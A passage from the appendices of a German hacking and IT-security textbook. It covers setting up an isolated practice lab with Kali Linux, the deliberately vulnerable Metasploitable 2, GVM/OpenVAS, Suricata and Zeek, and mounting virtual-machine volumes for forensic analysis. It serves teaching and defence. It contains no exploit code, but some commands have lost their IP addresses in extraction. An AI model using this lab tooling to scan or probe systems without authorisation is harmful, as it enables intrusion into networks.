das Netzwerk wie in Abb. A.1 aus. © Der/die Autor(en), exklusiv lizenziert an Springer-Verlag GmbH, DE, ein Teil von Springer Nature 2023 U. Kebschull, Computer Hacking, https://doi.org/10.1007/978-3-662-67030-9
267
268
A Open Source Werkzeuge
Abb. A.1 Die Topologie des Netzes für die Übungen
Sicherheitshinweis: Trennen Sie Ihr Testlabor vom Internet, während Sie die praktischen Übungen mit Scans oder Angriffsversuchen auf Ihrem Kali-Rechner durchführen! Viel zu leicht kann es passieren, dass Sie sich bei der Eingabe der IP-Adresse des Ziels vertippen und Ihren Angriff auf ein Netz außerhalb Ihres Testlabors starten. Es könnte im schlimmsten Fall sogar strafrechtliche Folgen nach sich ziehen, wenn Sie ohne Erlaubnis ein fremdes Netz attackieren, auch wenn das nur ein Versehen war. Um das Testlabor vom Internet zu trennen, gibt es mehrere Varianten: • Wenn Sie den Kali-Rechner als Angreifer und den Metasploitable-Rechner als Ziel virtuell auf einer Hardware betreiben, dann ist die Sachen ganz einfach: Ziehen Sie das Netzwerkkabel des Rechners ab, auf dem Ihr Testlabor simuliert wird und versetzen Sie ihn für die Dauer Ihrer Tests in den Flugmodus. • Wenn Sie mit einem dedizierten Kali-Rechner im selben Subnetz arbeiten, trennen Sie die Verbindung Ihres DSL-Modems oder Routers zum Internet. • Alternativ können Sie auf den Kali- und Metasploit-Rechnern für die Dauer der Tests auf statische IP-Adressen im selben Subnetz umschalten und dabei die IP-Adresse des Gateways auf eine IP-Adresse stellen, die es in Ihrem Subnetz gar nicht gibt. Dann können keine IP-Pakete mehr nach draußen gesendet werden. Die Änderung kann temporär über die folgenden Befehl durchgeführt werden: $ sudo ifconfig eth0 broadcast netmask 255.255.255.0 $ sudo route add default gw Bevor Sie mit Ihre Tests oder Übungen starten, sollten Sie mit einem Befehl wie ping 8.8.8.8 (dns.google) prüfen, ob Sie noch Kontakt ins Internet haben. Nach dem nächsten Neustart werden diese Änderungen automatisch wieder auf die ursprünglichen Werte zurückgestellt. Damit diese Befehle nicht jedes Mal eingetippt werden müssen, können Sie sich natürlich entsprechende Shellscripte erstellen.
A Open Source Werkzeuge
A.1
269
Kali Linux
Kali Linux ist eine auf Debian-Linux basierende Linux-Distribution, die vor allem Programme für Pentests und digitale Forensik umfasst. Es stellt den De-facto-Standard für eine Linux-Distributionen dar, die auf IT-Sicherheit ausgerichtet ist. Der Vorteil einer vorbereiteten Kali-Distribution liegt darin, dass alle Werkzeuge bereits vorkonfiguriert sind, sodass sich der Aufwand für die Grundinstallation in Grenzen hält. Darüber hinaus wird empfohlen, Kali-Linux auf einer virtuellen Maschine wie Oracle Virtual Box oder VMware-Player (oder VMware Workstation) zu installieren. Natürlich können entsprechende ISO-Images von Kali-Linux auch direkt auf einem Rechner oder sogar auf einem Raspberry Pi installiert und genutzt werden. Kali-Linux enthält bereits in seiner Grundkonfiguration einige Werkzeuge, die gemäß der aktuellen Rechtslage als Angriffswerkzeuge eingestuft werden können. Daraus ergibt sich, dass der unbedarfte Einsatz der Werkzeuge in Kali-Linux bereits als aggressives Verhalten eingestuft und rechtliche Konsequenzen nach sich ziehen kann. Nutzen Sie diese Distribution deshalb nur in Ihrem eigenen Netz oder in Netzwerkbereichen, für die Sie eine ausdrückliche schriftliche Erlaubnis der verantwortlichen Betreiber vorliegen haben. Trennen Sie Ihren Kali-Rechner vom Internet, während Sie die praktischen Übungen durchführen. Folgende technischen Voraussetzungen muss Ihr PC mindestens erfüllen: • Die Virtualisisierungstechnologie VT-X oder AMD-V muss im BIOS aktiviert sein. • Sie benötigen mindestens 15 GB freien Speicherplatz auf ihrer Festplatte. Empfohlen werden 50 GB1 . • Sie benötigen mindestens 1 GB Arbeitsspeicher. Empfohlen werden 2–4 GB. Die Software VirtualBox kann von der offiziellen Webseite https://www.virtualbox.org/wiki/ Downloads heruntergeladen werden. Alle Aufgaben und Lösungen wurden mit der Version VirtualBox 6.1.34 durchgeführt. Sollte eine höhere Version zum Download verfügbar sein, so ist es sicher einen Versuch wert, diese auszuprobieren. Um VirtualBox zu installieren, laden Sie den VirtualBox-Installer für Ihre Plattform herunter und führen diesen als Administrator aus. Kali-Linux kann von der offiziellen Webseite https://www.kali.org/downloads heruntergeladen werden. Dabei empfiehlt es sich, die Variante auszuwählen, die für die Nutzung in virtuellen Maschinen vorkonfiguriert ist. Speziell für VirtualBox wird eine Datei mit der Endung „.ova“ zum Download angeboten. Diese enthält bereits alle Einstellungen, um eine lauffähige Version der Kali-Linux-Distribution automatisch in Ihren VirtualBox-Installation einzurichten. Starten Sie die Einrichtung der virtuellen Kali-Linux-Maschine mit einem Doppelklick auf diese Datei. 1 Für die Forensik-Übungsaufgabe 13.9 müssen Sie das Metasploitable2-Image auf den Kali-Rechner
laden, das ausgepackt alleine ca. 8 GB benötigt. Wenn Sie das Logical Volume extrahieren und Kopien anlegen, wird es auch mit 50 GB sehr schnell eng.
270
A Open Source Werkzeuge
Nachdem die Kali-Linux-Maschine in Ihre VirtualBox-Umgebung erscheint, wählen Sie diese aus und klicken Sie auf Start. Nach einer Weile werden Sie einen Anmelde-Dialog im Fenster der gestarteten virtuellen Maschine sehen. Hier melden Sie sich mit dem Nutzernamen kali und dem Passwort kali an. Es empfiehlt sich als erstes, das Passwort in einer Konsole über das Kommando passwd zu ändern.
A.2
Metasploitable
Die für die Aufgaben eingesetzte Version Metasploitable 2 ist ein Image für eine virtuelle Maschine, in das bewusst einige Schwachstellen eingebaut wurden. Sie basiert außerdem auf einer uralten Ubuntu-Linux-Distribution aus dem Jahr 2008, für das es schon lange keine Updates mehr gibt. Aufgrund der dokumentierten Schwachstellen und der zahlreichen weiteren Sicherheitslücken wegen des Alters der Distribution, ist Metasploitable 2 ein ergiebiges Ziel für Angriffsversuche aller Art. Metasploitable 2 kann unter https://sourceforge.net/projects/metasploitable als virtuelle Maschine heruntergeladen werden. Die virtuelle Maschine (VMDK-Datei) lässt sich sowohl mit dem VMware-Player als auch unter Virtual Box ausführen. Vorsicht: Aufgrund der zahlreichen Schwachstellen und der im Lauf der Jahre bekannt gewordenen Sicherheitslücken, die sich nicht mehr schließen lassen, sollte Metasploitable 2 niemals in einem öffentlich zugänglichen Netzwerksegment betrieben werden! Ein Sicherheitsscan mit GVM/OpenVAS meldet über 100 Sicherheitslücken, davon allein 6 mit einem CVSS-Score von 10,0! Die Installation als virtuelle Maschine ist einfach: • Laden Sie das Image von https://sourceforge.net/projects/metasploitable herunter. • Entpacken Sie die Zip-Datei in einem Ordner Ihrer Wahl. • Starten Sie den VMware-Player oder VirtualBox und öffnen Sie die Metasploitable-Datei, die sie im letzten Schritt ausgepackt haben. • Starten Sie die virtuelle Maschine. • Bei der Abfrage, ob die Maschine verschoben oder kopiert wurde, klicken Sie auf „I copied it“ (VMware). • Nachdem die Maschine gestartet ist, können Sie sich mit dem Usernamen „msfadmin“ und dem Passwort „msfadmin“ anmelden. • Anschließend können Sie sich in der virtuellen Maschine mit dem Befehl „ifconfig“ die IP-Adresse anzeigen lassen. Metasploitable ist auf einer deutschen Tastatur etwas umständlich zu bedienen, da lediglich das US-Tastatur-Layout unterstützt wird. Wenn die Maschine läuft, können Sie sich mit einem Terminal (z. B. PowerShell 7) über den Befehl „ssh -l msfadmin“ anmelden, um dieses Problem zu umgehen.
A Open Source Werkzeuge
271
Bei den Eigenschaften der virtuellen Maschine können Sie die Netzwerkverbindung festlegen: Wenn sowohl der Kali-Rechner als auch Metasploitable auf derselben Hardware laufen, können Sie „Host-only“ auswählen. Damit ist Metasploitable von außerhalb nicht erreichbar. Verwenden Sie für Ihren Kali-Rechner und Metasploitable separate Hardware, benötigen Sie den „Bridged“-Modus, damit Metasploitable auch von außen erreichbar ist. Dann sollten Sie aber dafür sorgen, dass Sie sich nicht ein einem Netzwerksegment befinden, in dem sich außer Ihnen noch andere User tummeln!
A.3
Greenbone Vulnerability Management
GVM ist ein sehr mächtiges Werkzeug, um gefundene Schwachstellen in einem Netzwerk zu verwalten. Der eigentliche Scan-Vorgang beruht auf OpenVAS, das in GVM integriert ist. Im Abschn. 10.6.2 wurde GVM verwendet, um im Rahmen eines beispielhaften Pentests nach Schwachstellen in einem Netzwerk zu suchen. GVM kann auf unserem Kali-Linux betrieben werden, muss jedoch nachinstalliert werden. Hier soll nun schrittweise gezeigt werden, wie diese Installation durchgeführt wird. Zunächst muss sichergestellt werden, dass die Kali-Linux-Installation auf dem allerneusten Stand ist. Das gelingt mit dem folgenden Kommando: sudo apt update && apt upgrade -y Anschließend muss OpenVAS installiert werden: $ sudo apt install openvas OpenVas mit seinen gesamten Community-Feed mit derzeit über 100.000 Schwachstellen benötigt ungefähr 1.2 GB zusätzlichen Speicherplatz auf dem Laufwerk. Dies muss durch das Drücken von „Y“ akzeptiert werden. Das Herunterladen, Auspacken und Installieren dauert einige Minuten. Ist dieser Prozess abgeschlossen, ist der GVM an der Reihe: $ sudo gvm-setup GVM-setup lädt die CVEs seit dem Jahr 2008 nach sowie umfangreiche Wörterbücher und installiert entsprechende Suchfunktionen auf dem System, weshalb dieser Schritt auf einem Kali-Linux-System in einer VirtualBox durchaus mehrere Stunden dauern kann. Die Installationsroutine gibt eine Reihe von Statusmeldungen aus, die den Fortschritt der Installation dokumentieren. Dabei legt sie den User „admin“ mit einem zufälligen Passwort an. Wichtig ist, dass Sie folgenden Zeilen finden:
272
A Open Source Werkzeuge
... CREATE EXTENSION [>] Migrating database [>] Checking for GVM admin user [*] Creating user admin for gvm [*] Please note the generated admin password [*] User created with password ’9882f855-7b4d-45d9-b7b17b0982201fc4’. [*] Define Feed Import Owner [>] Updating GVM feeds [*] Updating NVT (Network Vulnerability Tests feed from Greenbone Security Feed/Community Feed) Greenbone community feed server http://feed.community.greenbone.net/ This service is hosted by Greenbone Networks http://www.greenbone.net/ ... Um sich mit dem Browser später an GVM anmelden zu können, benötigen Sie den User und das Passwort. Es empfiehlt sich deshalb, das Passwort mit „Cut&Paste“ in einer Datei zu sichern, damit Sie es später bei der Anmeldung in die Passwortzeile kopieren können. Da die Einrichtung von GVM lange gedauert hat und es immer wieder passieren kann, dass sie nicht ordnungsgemäß abgeschlossen wurde oder es zu Time-Outs bei der Übertragung kommt, sollte anschließend ein „Check“ der Installation durchgeführt werden: $ sudo gvm-scheck-setup Falls hier Fehler gefunden werden, gibt das Prüfprogramm gleich die notwendigen Befehle zur Fehlerbehebung an. Suchen Sie die Zeilen markiert mit „FIX:“ und führen Sie die entsprechenden Befehle aus. Wenn dieser Test mit dem folgenden Satz endet: „It seems like your GVM-XX.Y.Z installation is OK.“, wobei „X“, „Y“ und „Z“ für die installierte Versionsnummer stehen, kann GVM gestartet werden: $ sudo gvm-start Damit Sie auf das System zugreifen können, benötigen Sie einen Browser Ihrer Wahl, bei dem Sie in die Adresszeile folgende Adresse eingeben: https://localhost:9392
A Open Source Werkzeuge
273
Beim ersten Mal wird eine Sicherheitswarnung „Warning Potential Security Risk Ahead“ angezeigt. Diese Warnung können Sie ignorieren, indem Sie auf Advanced und anschließend auf Add an Exception klicken. Danach sollte die Anmeldemaske sichtbar werden. Jetzt können Sie sich mit dem Usernamen „admin“ und dem vorher gespeicherten Passwort anmelden. Es empfiehlt sich, das Passwort im Profil über General Settings zu ändern. Geben Sie dem „gvmd“ ein bisschen Zeit, die Synchronisation mit den DATA-Feeds abzuschließen. Beim ersten Aufruf kann es 30–45 min dauern, alle Daten zu importieren. Wenn Sie den Fortschritt beobachten wollen, können Sie dies mit dem Kommando „sudo tail -f /var/log/gvm/gvmd.log“ verfolgen. Ab dieser Stelle können Sie Ihren ersten Scan durchführen. Klicken Sie auf „Scans“, dann auf den Zauberstab oben links, wählen Sie „Task Wizzard“ und geben Sie die IPAdresse des zu untersuchenden Systems an. Grundsätzlich lassen sich einzelne Rechner, ganze Netzwerksegmente oder Domänen scannen.
A.4
Suricata
Suricata ist ein quelloffenes regelbasiertes Intrusion-Detection-System (IDS), das auch als Intrusion-Prevention-System (IPS) konfiguriert werden kann. Es kann gemäß der GPLv2Lizenz eingesetzt werden. Zunächst muss sichergestellt werden, dass die Kali-Linux-Installation auf dem allerneusten Stand ist. Das gelingt wie immer mit dem folgenden Kommando: $ sudo apt update && apt upgrade -y Nachdem das System auf den neusten Stand gebracht wurde, kann die eigentliche Installation beginnen: $ sudo apt -y install suricata Das Suricata-Paket wird mit einer Konfigurationsdatei ausgeliefert, die eine Vielzahl von Anwendungsfällen abdeckt. Der Standardmodus von Suricata ist der IDS-Modus, bei dem Pakete nur protokolliert werden. Zu Beginn sollte der IDS-Modus aktiviert bleiben. Erst später, wenn klar ist, welche IP-Pakete abgefangen werden sollen, ist es ratsam, den IPS-Modus zu aktivieren, weil versehentlich geblockte Datenpakete den ordnungsgemäßen Betrieb in einem Netzwerksegment erheblich stören könnten und die Fehlersuche nicht immer einfach ist. Es gibt einige Einstellungen in der Konfigurationsdatei, die auf jeden Fall vorgenommen werden müssen, damit Suricata korrekt funktioniert. Dazu gehören:
274
A Open Source Werkzeuge
• Das Flag zur Einstellung der Community-ID: Wenn geplant ist, Suricata in Verbindung mit anderen Werkzeugen wie das Analysewerkzeug Zeek oder den Echtzeit-Suchserver Elasticsearch einzusetzen, hilft es, die von Suricata generierten Logeinträge (JSONDatensätze) mit einem Community-ID-Feld zu ergänzen. Hier genügt es in der Konfigurationsdatei ein Flag auf „true“ zu setzen. • Angabe des verwendeten Ethernet-Interfaces: Das verwendete Ethernet-Interface auf Ihrem System erfahren Sie zum Beispiel mit dem folgenden Befehl: ip -brief address show Falls unter der genutzten IP-Adresse Ihres Systems ein anderes Interface als „eth0“aufgelistet sein sollten, notieren Sie sich den Namen dieses Interfaces. • Automatisches Nachladen von Regeln: Suricata unterstützt das automatische Nachladen von Regeln, was bedeutet, dass Sie Regeln hinzufügen, entfernen und bearbeiten können, ohne den laufenden Suricata-Prozess neu starten zu müssen. Für das automatische Nachladen und aktivieren neuer Regeln braucht Suricata einen Mechanismus, um sich selbst neu zu starten. Dieser muss ebenfalls eingeschaltet werden. Damit die Konfigurationsdatei nur einmal editiert werden muss, ist es sinnvoll, die benötigten Daten vorher zu sammeln. Alle Änderungen der Konfiguration können in der Datei „/etc./suricata/suricata.yaml“ durchgeführt werden. Das geht am Besten mit dem Editor „nano“, den Sie mit dem folgenden Befehl starten: $ sudo nano /etc/suricata/suricata.yaml Suchen Sie nach der Zeile „community-id: false“ und ersetzen Sie „false“ durch „true“ 2 community-id: true Anschließend suchen Sie nach der Zeile „- interface:“ und ersetzen Sie den Eintrag „eth0“ des Interfacenamens in dieser Zeile durch den Namen des tatsächlich genutzten Interfaces, den Sie sich vorher notiert haben. Um die Live-Reload-Option zu aktivieren, scrollen Sie mit „nano“ an das Ende der Konfigurationsdatei „suricata.yaml“ und fügen Sie die folgenden Zeilen hinzu:
2 Im Editor „nano“ kann mit dem Kommando „Steuerung+W“ nach Zeichenketten gesucht werden.
A Open Source Werkzeuge
275
. . . detect-engine: - rule-reload: true Anschließend speichern Sie die Datei mit den Befehlen „Steuerung+X“, „y“ zur Bestätigung und „Return“. Nachdem das Paket nun installiert und korrekt konfiguriert ist, muss der suricata.service aktiviert werden, damit es beim Neustart des Systems automatisch ausgeführt wird. Dies wird mit dem folgenden Befehl erreicht: $ sudo systemctl enable suricata.service In der Grundkonfiguration ist Suricata noch nicht mit Regeln zur Überwachung des Datenverkehrs ausgestattet. Mithilfe des Kommandos $ sudo suricata-update wird ein allgemeiner Regelsatz geladen und in das Verzeichnis „/etc./suricata/rules“ kopiert. Es gibt zahlreiche Anbieter von Regelsätzen für die unterschiedlichsten Anwendungsgebiete. Die meisten davon sind kostenlos verfügbar. Es gibt jedoch auch einige kommerzielle Anbieter. Über das folgende Kommando können Sie eine Liste aller Anbieter anzeigen: $ sudo suricata-update list-sources Mit dem folgenden Kommando können die Regeln eines Anbieters eingelesen und aktiviert werden. $ sudo suricata-update enable-source „“ steht dabei für einen Anbieter von Regeln, wie er mit dem Kommando „list-source“ angezeigt wird. Bevor es losgeht, sollte die Konfiguration noch einmal überprüft werden. Suricata verfügt über einen eingebauten Testmodus, der die Konfigurationsdatei und alle geladenen Regeln auf ihre Gültigkeit überprüft. $ sudo suricata -T
276
A Open Source Werkzeuge
Wenn in Ihrer Konfigurationsdatei Fehler enthalten sind, erzeugt der Testlauf einen spezifischen Fehlercode und eine Meldung für jeden gefunden Fehler, die Sie bei der Fehlersuche (Suche im Internet nach ”suricata ERRCODE ) verwenden können. Am Ende der Anpassungen und nach fehlerfreiem Test kann Suricata gestartet werden. Dies wird durch den folgenden Befehl erreicht: $ sudo systemctl start suricata.service Sie können Suricata jederzeit wieder beenden, indem Sie den folgenden Befehl eingeben: $ sudo systemctl stop suricata.service Wenn alles richtig konfiguriert ist, Regeln aktiviert sind und Suricata gestartet ist, sollten Logeinträge in der Datei „/var/log/suricata/.log“ produziert werden. Detektierte Angriffe werden als einzeilige Logeinträge in der Datei „fast.log“ hinterlegt. Diese Einträge können mit dem folgenden Kommando verfolgt werden: $ sudo tail -f /var/log/suricata/fast.log Weitere Informationen zu Suricata finden Sie unter https://suricata.io/. Im Abschn. 11.5.2 wird Suricata eingesetzt, um die grundsätzliche Funktionsweise eines IDS zu erläutern.
A.5
Zeek
Zeek ist ein IT-Sicherheitsmonitor, der den Datenverkehr auf einer Netzwerkschnittstelle anhand von Regeln auf verdächtige Aktivitäten hin untersucht. Grundsätzlich kann Zeek auch benutzt werden, um Leistungsmessungen und Fehlersuche zu betreiben. Die Installation ist ein wenig aufwendiger, weil für die aktuelle Kali-Version kein passendes Installationspaket für Zeek verfügbar ist. Deshalb muss Zeek für die meisten Distributionen aus den Quellen übersetzt werden. Das gilt auch für Kali-Linux, für das hier der Installationsvorgang beschrieben wird. Zunächst muss wie immer sichergestellt werden, dass die Kali-Linux-Installation auf dem allerneusten Stand ist. Das gelingt mit dem folgenden Kommando: $ sudo apt update && apt upgrade -y Über den Befehl: $ sudo apt install cmake make gcc g++ flex bison libpcap-dev libssl-dev python3 python3-dev swig zlib1g-dev
A Open Source Werkzeuge
277
können Sie folgenden Komponenten auf Ihrem System installieren oder auf den neusten Stand bringen: • • • • • •
Libpcap OpenSSL BIND8 Libz bash Python
Diese Komponenten werden für die Übersetzung von Zeek benötigt. Nun kann die eigentliche Installation beginnen. Um mit der aktuellsten Version von Zeek zu arbeiten, können die Quellen aus dem Git-Repository geklont werden: $ git clone --recurse-submodules https://github.com/zeek/zeek Anschließend muss die Software konfiguriert und übersetzt werden. Dieser Schritt kann einige Zeit in Anspruch nehmen. $ ./configure $ make $ sudo make install Der letzte dieser drei Schritte installiert Zeek auf dem System in das Standardverzeichnis /usr/local/zeek. Damit Zeek den Netzwerkverkehr mitlesen kann, muss in der Datei „/usr/local/zeek/etc./ node.cfg“ das Interface eingetragen werden, über das Zeek den Netzwerkverkehr mithören soll. Der Default ist „eth0“. An dieser Stelle muss man sich ein paar Gedanken machen, wo Zeek in der Netzwerktopologie platziert werden soll: Zeek kann nur die Netzwerkpakete analysieren, die dort auch vorbeikommen. WLAN schließt sich aus, weil moderne verschlüsselte WLAN-Protokolle individuelle Session-Schlüssel für die Übertragung verwenden. Hier könnte lediglich der eigene Netzwerkverkehr mitgelesen werden. Verfügt Ihr Rechner, auf dem Zeek installiert ist, über zwei Ethernet-Schnittstellen, könnten Sie ihn als Router zwischen DSL-Modem und Netzwerk-Switch konfigurieren. Manche DSL- oder LTE-Modems besitzen einen EthernetLAN-Anschluss, über den der gesamte IP-Verkehr geroutet wird (z. B. Netgear Nighthawk M1 oder Netgear GS. 30Xe). Alternativ kann auch ein Hub zwischen Netzwerkanschluss und lokalem Netzwerk-Switch eingefügt werden, der den gesamten IP-Verkehr an alle Ports verteilt. Für unsere einfachen Tests oder Übungsaufgaben reicht es aber aus, wenn der Rechner, auf dem Zeek gestartet wird, nur den eigenen Netzwerkverkehr sieht. Weitere Informationen zu diesem Thema finden Sie unter https://docs.zeek.org/en/master/monitoring.html.
278
B Mounten von logischen Volumes für forensische Untersuchungen
Über „sudo /usr/local/zeek/bin/zeekctl“ 3 wird Zeek gesteuert. Dabei benötigen Sie die Befehle: • • • • • •
check: prüft, ob die Konfiguration in korrekt ist. help: listet alle Befehle von zeekctl auf. install: setzt eine neue Umgebung auf oder setzt sie zurück. start: startet die Aufzeichnungen mit Zeek. status: zeigt den aktuellen Status von Zeek an. stop: beendet die Aufzeichnungen von Zeek.
Während Zeek läuft, werden die Logdateien im Verzeichnis /usr/local/zeek/logs/current gespeichert. Wenn Zeek nicht läuft, ist dieses Verzeichnis leer. Ältere Logdateien werden unter /usr/local/zeek/logs/ komprimiert abgelegt. Besonders wichtig ist die Datei „notice.log“, in der alles gesichert wird, was Zeek als potenziell interessant, merkwürdig oder bösartig klassifiziert. In der Datei „conn.log“ werden alle Verbindungen zu internen und externen Servern aufgezeichnet. Da die Zeilen in dieser Logdatei sehr viele Spalten besitzen, lohnt es sich, interessante Spalten über die jeweilige Spaltenüberschriften mit zeek-cut zu separieren. Hier ein Beispiel mit den Überschriften für die Quell-IP-Adresse („id.orig_h“) den Quell-Port („id.orig_p“), Ziel-IP-Adresse („id.resp_h“) und Ziel-Port („id.resp_p“): $ cat conn.log
| zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p
Weitere Informationen über Zeek finden Sie unter https://zeek.org/ oder https://docs.zeek. org/. Im Abschn. 11.5.3 wird Zeek eingesetzt, um dessen grundsätzliche Funktionsweise als Netzwerk-Monitoring-Werkzeug zu erläutern.
3 Sie können „/usr/local/zeek/bin“ natürlich auch in die Pfadvariable $PATH einfügen. Bei manchen
Linux-Distributionen wird die PATH-Variable beim Aufruf von „sudo“ aber aus Sicherheitsgründen auf „secure_path“ zurückgesetzt. Es gibt mehrere Möglichkeiten dies zu umgehen, die aber nicht bei allen Distributionen gleichermaßen funktionieren. Aus diesem Grund wird hier der volle Pfad angegeben.
B
Mounten von logischen Volumes für forensische Untersuchungen
Der Logical Volumes Manager (LVM) ist eine zusätzliche Abstraktionsschicht zwischen Festplatten und Betriebssystem. LVMs haben einige Vorteile gegenüber reinen Festplatten: Man kann die Plattengrößen den Bedürfnissen anpassen oder Partitionen auf mehrere physikalische Platten verteilen. Insbesondere im Kontext mit forensischen Untersuchungen von Festplatten haben sie aber auch einige Nachteile: So sind die meisten Werkzeuge darauf ausgelegt, mit Festplatten-Abbildern von physikalischen Festplatten zu arbeiten. Die meisten Virtualisierer arbeiten mit LVMs für das Root-Verzeichnis, sodass alle relevanten Daten in einem logischen Volume gespeichert sind. Das gilt auch für VMDK-Dateien, in denen die Virtuellen Maschinen für VMware oder Virtual Box gespeichert sind. Wenn eine virtuelle Maschine forensisch untersucht werden soll, ist es notwendig, die Dateien, die Metadaten und die freigegebenen Blöcke (gelöschte Dateien) aus einem LVM zu lesen. Die Umwandlung eines LVMs in ein ext3-Plattenabbild ist aber gar nicht so einfach und soll deshalb an dieser Stelle vorgestellt werden. Spätestens bei Übungsaufgabe 13.9 werden diese Schritte benötigt.
B.1
Lesender Zugriff auf die Dateien in einem logischen Volume
Für den lesenden Zugriff auf die Dateien gibt es eine einfache Lösung: Guestmount. Guestmount kann VMDK-Dateien in ihre Bestandteile (Volume Groups, VGs) zerlegen und diese so mounten, dass sie wie ganz normale Dateien in einem Laufwerk angesprochen werden können. Zunächst muss Guestmount installiert werden. Für Kali gibt es passendes Paket, das über $ sudo apt install guestmount installiert werden kann. © Der/die Autor(en), exklusiv lizenziert an Springer-Verlag GmbH, DE, ein Teil von Springer Nature 2023 U. Kebschull, Computer Hacking, https://doi.org/10.1007/978-3-662-67030-9
279
280
B Mounten von logischen Volumes für forensische Untersuchungen
Anschließend wird ein Verzeichnis (Mount-Point) benötigt, an den die Festplatte gemounted werden soll: $ sudo mkdir /mnt/guest Dieser Schritt ist natürlich nur dann notwendig, wenn es noch keinen geeigneten MountPoint gibt. Der Befehl für das Mounten der des Logical Volumes der virtuellen Maschine Metasploitable 2 lautet wie folgt: $ sudo guestmount -a Metasploitable.vmdk -m /dev/metasploitable/root --ro /mnt/guest Mit der Option „-a“ wird die virtuelle Festplatte ausgewählt. „-m“ ist der Mount-Point innerhalb der VM. Mit „- -ro“ wird angegeben, dass die Platte nur „read-only“ gemounted wird, was bei forensischen Untersuchungen von Platten der Standard sein sollte. Der letzte Parameter ist das Verzeichnis, in das die Platte gemounted werden soll. Wenn der Befehl ohne Probleme durchgelaufen ist, sollten Sie mit „cd /mount/guest“ das Wurzelverzeichnis der Metasploit-Maschine sehen. Das Problem mit dieser einfachen Lösung ist, dass hier zwar alle Dateien gelesen werden können, für die forensische Untersuchung mit dem Sleuth-Kit aber eine Imagedatei der Festplatte benötigt wird. Nur damit können eine Timeline erstellt oder gelöschte Datenbereiche untersucht werden. Besonders interessant für die forensische Untersuchung sind ja gerade die Bereiche, die gelöscht wurden, um Spuren zu verwischen, oder gelöschte Lock-Dateien, die einen Zugriff auf eine Datei mit einem Editor bestätigen. Genau diese gelöschten Bereiche lassen sich aber nicht mit Linux-Bordmitteln auslesen. Für einen ersten Überblick über die Dateien oder eine erste Untersuchung der Logdateien, ist dieser Zugang über Guestmount jedoch bereits sehr hilfreich.
B.2
Mounten von logischen Volumes (LVMs) als Festplatten für forensische Untersuchungen
Man kann aber auch logische Volumes so mounten, dass sie als Platte ansprechbar sind. Es ist nur ein wenig komplizierter. Im Folgenden wird angenommen, dass das virtuelle Image als Datei im VMDK-Format auf dem Kali-Rechner vorliegt. Virtuelle Maschinen in diesem Format können sowohl von Vmware-Workstation als auch von Virtual-Box gelesen und ausgeführt werden. Als Beispiel für diese Schritte dient das Metasploitable-Image „Metasploitable.vmdk“, das bereits für einige praktische Übungen zum Einsatz kam. Die Untersuchung findet auf dem Kali-Rechner statt, sodass die Befehle auf dem Kali-Rechner ausgeführt werden sollten.
B Mounten von logischen Volumes für forensische Untersuchungen
281
Für die hier vorgestellte Variante werden die Qemu-Utils, Kpartx und lvm2 benötigt, die über die folgen Befehle nachinstalliert werden können: $ sudo apt install quemu-utils $ sudo apt install kpartx $ sudo apt install lvm2 Zunächst sollten Sie prüfen, dass mindestens ein Network-Blockdevice (NBD) vorhanden ist: $ ls -l /dev/nbd* Werden hier keine Blockdevices angezeigt, müssen diese erstellt werden, indem das entsprechende Kernelmodul für das Verarbeiten von Blockdevices geladen sind. Das erledigt der folgende Befehl: $ sudo modprobe nbd max_part=16 Mit diesem Befehl werden die Devices „/dev/nbd0“ bis „/dev/nbd“ angelegt. Anschließend kann die VMDK-Datei an das Blockdevice gemounted werden. Für diesen Zweck gibt es den folgenden Befehl: $ sudo qemu-nbd -r -c /dev/nbd0 Metasploitable.vmdk Dabei stehen die Optionen „-r“ für „read-only“ und „-c“ für „connect image file to NBD device“. Der nächste Schritt ist das Laden des Device-Mappers (dm) in den Kernel: $ sudo modprobe dm_mod Jetzt kann das Loopback-Device mit dem Block-Device verbunden werden $ sudo losetup /dev/loop0 /dev/nbd0 Mit diesem Befehl werden gleichzeitig die Loop-Devices „/dev/loop0“ bis „/dev/loop7“ erstellt. Als Nächstes müssen die Partitionstabellen aus dem Image gelesen und die Links für die Partitionen in „/dev“ entsprechend konfiguriert werden: $ sudo kpartx -a -v /dev/loop0
282
B Mounten von logischen Volumes für forensische Untersuchungen
Hat bisher alles geklappt, kann man sich die physikalischen Volume Groups (VGs) anzeigen lassen: $ sudo pvdisplay Die Liste der verfügbaren logischen Volume Groups (VG’s) listet der folgende Befehl auf: $ sudo lvdisplay Mit diesem Befehl wird angezeigt, dass die beiden logischen Volumes „/dev/mapper/ metasploitable-root“ und „/dev/mapper/metasploitable-swap_1“ enthalten sind. Der Name der Volume Group ist „metasploitable“. Dieser wird für den nächsten Befehl benötigt, sodass endlich die gewünschte virtuelle Gruppe aktiviert werden kann: $ vgchange -a y metasploitable Die gesuchten LVM-Volumes sind jetzt als Festplattenimages in „/dev/mapper/ metasploitable-root“ und „/dev/mapper/metasploitable-swap_1“ angelegt und können für die forensische Untersuchung der Festplatten direkt verwendet werden. Alternativ können sie, wie bei Guestmount, auch an einen entsprechendes Verzeichnis gemountet werden, sodass sie mit den Standard-Linuxbefehlen untersucht werden können. Für den Zugriff auf das Festplattenimage für die forensische Untersuchung ist es sinnvoll, einen Link auf die Festplattenimages anzulegen, der auf die entsprechende Partition zeigt: $ cd ˜ $ ln -s /dev/mapper/metasploitable-root . $ ln -s /dev/mapper/metasploitable-swap_1 . Dieses Verzeichnis „metasploitable-root“ wird mit dem Seuth-Kit als ex3-Festplatte erkannt und kann weiter untersucht werden. In der Übungsaufgabe 13.9 wird gezeigt, wie so eine Untersuchung grundsätzlich ablaufen kann und welche Daten aus den Images auslesbar sind. Wenn Sie die ganzen Verbindungen wieder ordnungsgemäß abbauen wollen, sollten Sie die folgenden Befehle eingeben: $ $ $ $
sudo umount /mnt/point sudo vgchange -a n metasploitable sudo kpartx -d -v /dev/loop0 sudo losetup -d /dev/loop0
Jetzt kann der Kali-Rechner wieder heruntergefahren werden.
Zusammenstellung wichtiger Hyperlinks rund um die IT-Sicherheit
Hier ist eine kleine Auswahl nützlicher Links rund um das Thema Cybersicherheit. web.archive.org attack.mitre.org bsi.de cve.mitre.org cvedetails.com cuckoo.cert.ee hackthebox.com haveibeenpwned.com haveibeenpwned.com/Passwords https://www.heise.de/tools hybrid-analysis.com/ kali.org nativeintelligence.com/resources/ cyber-security-links nomoreransom.org osintframework.com owasp.org/www-community/ Vulnerability_Scanning_Tools sec.hpi.de/ilc shodan.io sicherheitstacho.eu ssllabs.com urlscan.io virustotal.com/de
